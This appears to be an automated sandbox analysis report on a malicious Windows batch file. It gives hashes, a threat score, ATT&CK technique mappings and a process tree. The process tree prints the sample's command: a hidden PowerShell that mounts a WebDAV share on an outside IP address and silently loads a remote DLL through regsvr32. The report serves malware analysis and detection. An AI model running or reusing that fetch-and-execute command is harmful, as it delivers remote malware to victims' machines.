02c51e814fa86458ff001de22fbdac40fe9bc061bad17f2d5b3413e94e294c49

Analysis

max time kernel
118s
max time network
118s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
20-07-2024 19:32

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General

Target

137666011097431048.bat
Size

17KB
MD5

460cf189d3881e67b4beb1e60c25d62e
SHA1

9c62c41fd33fab8d8fc3dd812015c897b64f371e
SHA256

02c51e814fa86458ff001de22fbdac40fe9bc061bad17f2d5b3413e94e294c49
SHA512

19ef3e622e9ccf21e99582c57986e995a45d1cc0862a8ec6489d2ca23e84432fe73e75145f88b273a232ef84e46c395f5673d5c08d79dcc9ecef7ab4a80d5ad6
SSDEEP

384:HhsoPhYNe1LpdAY88KY88nc0h9oKUsXVsibks7LcURaC3EED:BsopSSdAY88KY88njcx4VPqURAg

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2060	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2060	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2060	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
1872	wordpad.exe
1872	wordpad.exe
1872	wordpad.exe
1872	wordpad.exe
1872	wordpad.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2540 wrote to memory of 1872	2540	cmd.exe	31
PID 2540 wrote to memory of 1872	2540	cmd.exe	31
PID 2540 wrote to memory of 1872	2540	cmd.exe	31
PID 2540 wrote to memory of 2060	2540	cmd.exe	32
PID 2540 wrote to memory of 2060	2540	cmd.exe	32
PID 2540 wrote to memory of 2060	2540	cmd.exe	32
PID 2060 wrote to memory of 2904	2060	powershell.exe	34
PID 2060 wrote to memory of 2904	2060	powershell.exe	34
PID 2060 wrote to memory of 2904	2060	powershell.exe	34
PID 2060 wrote to memory of 2748	2060	powershell.exe	35
PID 2060 wrote to memory of 2748	2060	powershell.exe	35
PID 2060 wrote to memory of 2748	2060	powershell.exe	35
PID 2060 wrote to memory of 2748	2060	powershell.exe	35
PID 2060 wrote to memory of 2748	2060	powershell.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\137666011097431048.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2540
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:1872
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\43263145819989.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2060
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2904
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\43263145819989.dll
    3⤵
    PID:2748

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2060-23-0x000000001B6C0000-0x000000001B9A2000-memory.dmp

Filesize
2.9MB

Download
memory/2060-24-0x00000000027A0000-0x00000000027A8000-memory.dmp

Filesize
32KB

Download